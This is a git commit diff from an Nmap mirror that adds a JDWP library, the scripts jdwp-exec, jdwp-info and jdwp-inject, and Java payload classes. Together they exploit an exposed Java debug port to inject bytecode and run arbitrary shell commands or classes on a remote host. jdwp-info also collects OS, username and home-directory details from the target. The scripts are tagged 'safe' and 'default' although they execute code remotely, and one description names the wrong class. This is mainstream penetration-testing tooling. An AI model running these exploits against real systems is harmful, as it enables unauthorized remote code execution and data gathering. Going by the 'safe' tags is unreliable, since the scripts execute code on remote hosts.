mirror of
https://github.com/nmap/nmap.git
synced 2025-12-12 02:39:03 +00:00
Merged jdwp library, scripts and java classes into trunk
This commit is contained in:
@@ -1,5 +1,8 @@
|
|||||||
# Nmap Changelog ($Id$); -*-text-*-
|
# Nmap Changelog ($Id$); -*-text-*-
|
||||||
|
|
||||||
|
o [NSE] Added JDWP library, jdwp-info, jdwp-exec and jdwp-inject scripts and
|
||||||
|
needed classes. [Aleksandar Nikolic]
|
||||||
|
|
||||||
o [NSE] Added a BJNP library and the scripts broadcast-bjnp-discover and
|
o [NSE] Added a BJNP library and the scripts broadcast-bjnp-discover and
|
||||||
bjnp-discover. [Patrik Karlsson]
|
bjnp-discover. [Patrik Karlsson]
|
||||||
|
|
||||||
|
|||||||
BIN
nselib/data/jdwp-class/JDWPExecCmd.class
Normal file
BIN
nselib/data/jdwp-class/JDWPExecCmd.class
Normal file
Binary file not shown.
31
nselib/data/jdwp-class/JDWPExecCmd.java
Normal file
31
nselib/data/jdwp-class/JDWPExecCmd.java
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
import java.io.*;
|
||||||
|
|
||||||
|
/* This is the JDWPExecCmd source used for jdwp-exec script to execute
|
||||||
|
* a command on the remote system.
|
||||||
|
*
|
||||||
|
* It just executes the shell command passed as string argument to
|
||||||
|
* run() function and returns its output.
|
||||||
|
*
|
||||||
|
* Compile simply with:
|
||||||
|
* javac JDWPExecCmd.java (should be in the nselib/data/ directory).
|
||||||
|
*
|
||||||
|
* author = "Aleksandar Nikolic"
|
||||||
|
* license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||||
|
*/
|
||||||
|
|
||||||
|
public class JDWPExecCmd {
|
||||||
|
public static String run(String cmd) {
|
||||||
|
String result = cmd + " output:\n";
|
||||||
|
try{
|
||||||
|
Process p = Runtime.getRuntime().exec(cmd);
|
||||||
|
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
|
||||||
|
String line = null;
|
||||||
|
while ((line = in.readLine()) != null) {
|
||||||
|
result += line.trim()+"\n";
|
||||||
|
}
|
||||||
|
result += "\n";
|
||||||
|
}catch(Exception ex){
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
BIN
nselib/data/jdwp-class/JDWPSystemInfo.class
Normal file
BIN
nselib/data/jdwp-class/JDWPSystemInfo.class
Normal file
Binary file not shown.
41
nselib/data/jdwp-class/JDWPSystemInfo.java
Normal file
41
nselib/data/jdwp-class/JDWPSystemInfo.java
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
import java.io.*;
|
||||||
|
import java.util.Date;
|
||||||
|
/* This is the JDWPSystemInfo source used for jdwp-info script to get remote
|
||||||
|
* system information.
|
||||||
|
*
|
||||||
|
* Compile simply with:
|
||||||
|
* javac JDWPSystemInfo.java (should be in the nselib/data/jdwp-class directory).
|
||||||
|
*
|
||||||
|
* author = "Aleksandar Nikolic"
|
||||||
|
* license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||||
|
*/
|
||||||
|
|
||||||
|
public class JDWPSystemInfo {
|
||||||
|
public static String run() {
|
||||||
|
String result = "";
|
||||||
|
result += "Available processors: " + Runtime.getRuntime().availableProcessors() + "\n";
|
||||||
|
result += "Free memory: " + Runtime.getRuntime().freeMemory() + "\n";
|
||||||
|
File[] roots = File.listRoots();
|
||||||
|
for (File root : roots) {
|
||||||
|
result += "File system root: " + root.getAbsolutePath() + "\n";
|
||||||
|
result += "Total space (bytes): " + root.getTotalSpace() + "\n";
|
||||||
|
result += "Free space (bytes): " + root.getFreeSpace() + "\n";
|
||||||
|
}
|
||||||
|
result += "Name of the OS: " + System.getProperty("os.name") + "\n";
|
||||||
|
result += "OS Version : " + System.getProperty("os.version") + "\n";
|
||||||
|
result += "OS patch level : " + System.getProperty("sun.os.patch.level") + "\n";
|
||||||
|
result += "OS Architecture: " + System.getProperty("os.arch") + "\n";
|
||||||
|
result += "Java version: " + System.getProperty("java.version") + "\n";
|
||||||
|
result += "Username: " + System.getProperty("user.name") + "\n";
|
||||||
|
result += "User home: " + System.getProperty("user.home") + "\n";
|
||||||
|
Date dateNow = new Date();
|
||||||
|
result += "System time: " + dateNow + "\n";
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(String[] args){
|
||||||
|
System.out.println(run());
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
26
nselib/data/jdwp-class/README.txt
Normal file
26
nselib/data/jdwp-class/README.txt
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
This directory contains sources and compiled classes
|
||||||
|
used by jdwp-* scripts.
|
||||||
|
|
||||||
|
All classes must have run() method defined which is
|
||||||
|
expected to return a string.
|
||||||
|
Method run() can have arguments, but then the scripts
|
||||||
|
would need to be modified to add those arguments when
|
||||||
|
class is injected. As JDWPExecCmd has a run() method
|
||||||
|
which accepts a string as its argument, see
|
||||||
|
jdwp-exec script for details of passing the
|
||||||
|
arguments to a method via JDWP.
|
||||||
|
Arguments need to be tagged with their respective type.
|
||||||
|
For other tags see http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502 .
|
||||||
|
Example from jdwp-exec:
|
||||||
|
|
||||||
|
local cmdID
|
||||||
|
status,cmdID = jdwp.createString(socket,0,cmd)
|
||||||
|
local runArgs = bin.pack(">CL",0x4c,cmdID) -- 0x4c is object type tag
|
||||||
|
-- invoke run method
|
||||||
|
local result
|
||||||
|
status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,1,runArgs)
|
||||||
|
|
||||||
|
To compile these sources:
|
||||||
|
# javac *.java
|
||||||
|
|
||||||
|
|
||||||
1094
nselib/jdwp.lua
Normal file
1094
nselib/jdwp.lua
Normal file
File diff suppressed because it is too large
Load Diff
86
scripts/jdwp-exec.nse
Normal file
86
scripts/jdwp-exec.nse
Normal file
@@ -0,0 +1,86 @@
|
|||||||
|
local jdwp = require "jdwp"
|
||||||
|
local stdnse = require "stdnse"
|
||||||
|
local nmap = require "nmap"
|
||||||
|
local shortport = require "shortport"
|
||||||
|
local string = require "string"
|
||||||
|
|
||||||
|
description = [[
|
||||||
|
Script to exploit java's remote debugging port.
|
||||||
|
|
||||||
|
When remote debugging port is left open, it is possible to inject
|
||||||
|
java bytecode and achieve remote code execution.
|
||||||
|
|
||||||
|
Script abuses this to inject and execute Java class file that
|
||||||
|
executes the supplied shell command and returns its output.
|
||||||
|
|
||||||
|
The script injects the JDWPSystemInfo class from
|
||||||
|
nselib/jdwp-class/ and executes its run() method which
|
||||||
|
accepts a shell command as its argument.
|
||||||
|
|
||||||
|
]]
|
||||||
|
|
||||||
|
author = "Aleksandar Nikolic"
|
||||||
|
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||||
|
categories = {"safe","discovery"}
|
||||||
|
|
||||||
|
---
|
||||||
|
-- @usage nmap -sT <target> -p <port> --script=+jdwp-exec --script-args cmd="date"
|
||||||
|
--
|
||||||
|
-- @args cmd Command to execute on the remote system.
|
||||||
|
--
|
||||||
|
-- @output
|
||||||
|
-- PORT STATE SERVICE REASON
|
||||||
|
-- 2010/tcp open search syn-ack
|
||||||
|
-- | jdwp-exec:
|
||||||
|
-- | date output:
|
||||||
|
-- | Sat Aug 11 15:27:21 Central European Daylight Time 2012
|
||||||
|
-- |_
|
||||||
|
|
||||||
|
portrule = function(host, port)
|
||||||
|
-- JDWP will close the port if there is no valid handshake within 2
|
||||||
|
-- seconds, Service detection's NULL probe detects it as tcpwrapped.
|
||||||
|
return port.service == "tcpwrapped"
|
||||||
|
and port.protocol == "tcp" and port.state == "open"
|
||||||
|
and not(shortport.port_is_excluded(port.number,port.protocol))
|
||||||
|
end
|
||||||
|
|
||||||
|
action = function(host, port)
|
||||||
|
stdnse.sleep(5) -- let the remote socket recover from connect() scan
|
||||||
|
local status,socket = jdwp.connect(host,port) -- initialize the connection
|
||||||
|
if not status then
|
||||||
|
stdnse.print_debug("error, %s",socket)
|
||||||
|
end
|
||||||
|
|
||||||
|
-- read .class file
|
||||||
|
local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPExecCmd.class"), "rb")
|
||||||
|
local class_bytes = file:read("*all")
|
||||||
|
|
||||||
|
-- inject the class
|
||||||
|
local injectedClass
|
||||||
|
status,injectedClass = jdwp.injectClass(socket,class_bytes)
|
||||||
|
-- find injected class method
|
||||||
|
local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
|
||||||
|
|
||||||
|
if runMethodID == nil then
|
||||||
|
stdnse.print_debug("Couldn't find run method.")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
-- set run() method argument
|
||||||
|
local cmd = stdnse.get_script_args(SCRIPT_NAME .. '.cmd')
|
||||||
|
if cmd == nil then
|
||||||
|
stdnse.print_debug("This script requires a cmd argument to be specified.")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
local cmdID
|
||||||
|
status,cmdID = jdwp.createString(socket,0,cmd)
|
||||||
|
local runArgs = bin.pack(">CL",0x4c,cmdID) -- 0x4c is object type tag
|
||||||
|
-- invoke run method
|
||||||
|
local result
|
||||||
|
status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,1,runArgs)
|
||||||
|
-- get the result string
|
||||||
|
local stringID
|
||||||
|
_,_,stringID = bin.unpack(">CL",result)
|
||||||
|
status,result = jdwp.readString(socket,0,stringID)
|
||||||
|
return stdnse.format_output(true,result)
|
||||||
|
end
|
||||||
|
|
||||||
87
scripts/jdwp-info.nse
Normal file
87
scripts/jdwp-info.nse
Normal file
@@ -0,0 +1,87 @@
|
|||||||
|
local jdwp = require "jdwp"
|
||||||
|
local stdnse = require "stdnse"
|
||||||
|
local nmap = require "nmap"
|
||||||
|
local shortport = require "shortport"
|
||||||
|
local string = require "string"
|
||||||
|
|
||||||
|
description = [[
|
||||||
|
Script to exploit java's remote debugging port.
|
||||||
|
|
||||||
|
When remote debugging port is left open, it is possible to inject
|
||||||
|
java bytecode and achieve remote code execution.
|
||||||
|
|
||||||
|
Script abuses this to inject and execute Java class file that
|
||||||
|
returns remote system information.
|
||||||
|
]]
|
||||||
|
|
||||||
|
author = "Aleksandar Nikolic"
|
||||||
|
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||||
|
categories = {"default","safe","discovery"}
|
||||||
|
|
||||||
|
---
|
||||||
|
-- @usage nmap -sT <target> -p <port> --script=+jdwp-info
|
||||||
|
-- @output
|
||||||
|
-- PORT STATE SERVICE REASON
|
||||||
|
-- 2010/tcp open search syn-ack
|
||||||
|
-- | jdwp-info:
|
||||||
|
-- | Available processors: 1
|
||||||
|
-- | Free memory: 15331736
|
||||||
|
-- | File system root: A:\
|
||||||
|
-- | Total space (bytes): 0
|
||||||
|
-- | Free space (bytes): 0
|
||||||
|
-- | File system root: C:\
|
||||||
|
-- | Total space (bytes): 42935926784
|
||||||
|
-- | Free space (bytes): 29779054592
|
||||||
|
-- | File system root: D:\
|
||||||
|
-- | Total space (bytes): 0
|
||||||
|
-- | Free space (bytes): 0
|
||||||
|
-- | Name of the OS: Windows XP
|
||||||
|
-- | OS Version : 5.1
|
||||||
|
-- | OS patch level : Service Pack 3
|
||||||
|
-- | OS Architecture: x86
|
||||||
|
-- | Java version: 1.7.0_01
|
||||||
|
-- | Username: user
|
||||||
|
-- | User home: C:\Documents and Settings\user
|
||||||
|
-- |_ System time: Sat Aug 11 15:21:44 CEST 2012
|
||||||
|
|
||||||
|
portrule = function(host, port)
|
||||||
|
-- JDWP will close the port if there is no valid handshake within 2
|
||||||
|
-- seconds, Service detection's NULL probe detects it as tcpwrapped.
|
||||||
|
return port.service == "tcpwrapped"
|
||||||
|
and port.protocol == "tcp" and port.state == "open"
|
||||||
|
and not(shortport.port_is_excluded(port.number,port.protocol))
|
||||||
|
end
|
||||||
|
|
||||||
|
action = function(host, port)
|
||||||
|
stdnse.sleep(5) -- let the remote socket recover from connect() scan
|
||||||
|
local status,socket = jdwp.connect(host,port) -- initialize the connection
|
||||||
|
if not status then
|
||||||
|
stdnse.print_debug("error, %s",socket)
|
||||||
|
end
|
||||||
|
|
||||||
|
-- read .class file
|
||||||
|
local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPSystemInfo.class"), "rb")
|
||||||
|
local class_bytes = file:read("*all")
|
||||||
|
|
||||||
|
-- inject the class
|
||||||
|
local injectedClass
|
||||||
|
status,injectedClass = jdwp.injectClass(socket,class_bytes)
|
||||||
|
-- find injected class method
|
||||||
|
local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
|
||||||
|
|
||||||
|
if runMethodID == nil then
|
||||||
|
stdnse.print_debug("Couldn't find run method.")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
-- invoke run method
|
||||||
|
local result
|
||||||
|
status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil)
|
||||||
|
-- get the result string
|
||||||
|
local stringID
|
||||||
|
_,_,stringID = bin.unpack(">CL",result)
|
||||||
|
status,result = jdwp.readString(socket,0,stringID)
|
||||||
|
-- parse results
|
||||||
|
return stdnse.format_output(true,result)
|
||||||
|
end
|
||||||
|
|
||||||
79
scripts/jdwp-inject.nse
Normal file
79
scripts/jdwp-inject.nse
Normal file
@@ -0,0 +1,79 @@
|
|||||||
|
local jdwp = require "jdwp"
|
||||||
|
local stdnse = require "stdnse"
|
||||||
|
local nmap = require "nmap"
|
||||||
|
local shortport = require "shortport"
|
||||||
|
local string = require "string"
|
||||||
|
|
||||||
|
description = [[
|
||||||
|
Script to exploit java's remote debugging port.
|
||||||
|
|
||||||
|
When remote debugging port is left open, it is possible to inject
|
||||||
|
java bytecode and achieve remote code execution.
|
||||||
|
|
||||||
|
After injection, class' run() method is executed.
|
||||||
|
Method run() has no parameters, and is expected to return a string.
|
||||||
|
|
||||||
|
You can specify your own .class file to inject by <code>filename</code> argument.
|
||||||
|
See nselib/data/jdwp-class/README for more.
|
||||||
|
]]
|
||||||
|
|
||||||
|
author = "Aleksandar Nikolic"
|
||||||
|
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||||
|
categories = {"safe","discovery"}
|
||||||
|
|
||||||
|
---
|
||||||
|
-- @usage nmap -sT <target> -p <port> --script=+jdwp-inject --script-args filename=HelloWorld.class
|
||||||
|
--
|
||||||
|
-- @args filename Java .class file to inject.
|
||||||
|
-- @output
|
||||||
|
-- PORT STATE SERVICE REASON
|
||||||
|
-- 2010/tcp open search syn-ack
|
||||||
|
-- | jdwp-inject:
|
||||||
|
-- |_ Hello world from the remote machine!
|
||||||
|
--
|
||||||
|
portrule = function(host, port)
|
||||||
|
-- JDWP will close the port if there is no valid handshake within 2
|
||||||
|
-- seconds, Service detection's NULL probe detects it as tcpwrapped.
|
||||||
|
return port.service == "tcpwrapped"
|
||||||
|
and port.protocol == "tcp" and port.state == "open"
|
||||||
|
and not(shortport.port_is_excluded(port.number,port.protocol))
|
||||||
|
end
|
||||||
|
|
||||||
|
action = function(host, port)
|
||||||
|
stdnse.sleep(5) -- let the remote socket recover from connect() scan
|
||||||
|
local status,socket = jdwp.connect(host,port) -- initialize the connection
|
||||||
|
if not status then
|
||||||
|
stdnse.print_debug("error, %s",socket)
|
||||||
|
end
|
||||||
|
|
||||||
|
-- read .class file
|
||||||
|
local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename')
|
||||||
|
if filename == nil then
|
||||||
|
stdnse.print_debug("This script requires a .class file to inject.")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
local file = io.open(nmap.fetchfile(filename), "rb")
|
||||||
|
local class_bytes = file:read("*all")
|
||||||
|
|
||||||
|
-- inject the class
|
||||||
|
local injectedClass
|
||||||
|
status,injectedClass = jdwp.injectClass(socket,class_bytes)
|
||||||
|
-- find injected class method
|
||||||
|
local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
|
||||||
|
|
||||||
|
if runMethodID == nil then
|
||||||
|
stdnse.print_debug("Couldn't find run method.")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
-- invoke run method
|
||||||
|
local result
|
||||||
|
status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil)
|
||||||
|
-- get the result string
|
||||||
|
local stringID
|
||||||
|
_,_,stringID = bin.unpack(">CL",result)
|
||||||
|
status,result = jdwp.readString(socket,0,stringID)
|
||||||
|
-- parse results
|
||||||
|
return stdnse.format_output(true,result)
|
||||||
|
end
|
||||||
|
|
||||||
@@ -222,6 +222,9 @@ Entry { filename = "irc-unrealircd-backdoor.nse", categories = { "exploit", "int
|
|||||||
Entry { filename = "iscsi-brute.nse", categories = { "brute", "intrusive", } }
|
Entry { filename = "iscsi-brute.nse", categories = { "brute", "intrusive", } }
|
||||||
Entry { filename = "iscsi-info.nse", categories = { "default", "discovery", "safe", } }
|
Entry { filename = "iscsi-info.nse", categories = { "default", "discovery", "safe", } }
|
||||||
Entry { filename = "isns-info.nse", categories = { "discovery", "safe", } }
|
Entry { filename = "isns-info.nse", categories = { "discovery", "safe", } }
|
||||||
|
Entry { filename = "jdwp-exec.nse", categories = { "discovery", "safe", } }
|
||||||
|
Entry { filename = "jdwp-info.nse", categories = { "default", "discovery", "safe", } }
|
||||||
|
Entry { filename = "jdwp-inject.nse", categories = { "discovery", "safe", } }
|
||||||
Entry { filename = "jdwp-version.nse", categories = { "version", } }
|
Entry { filename = "jdwp-version.nse", categories = { "version", } }
|
||||||
Entry { filename = "krb5-enum-users.nse", categories = { "auth", "intrusive", } }
|
Entry { filename = "krb5-enum-users.nse", categories = { "auth", "intrusive", } }
|
||||||
Entry { filename = "ldap-brute.nse", categories = { "brute", "intrusive", } }
|
Entry { filename = "ldap-brute.nse", categories = { "brute", "intrusive", } }
|
||||||
|
|||||||
Reference in New Issue
Block a user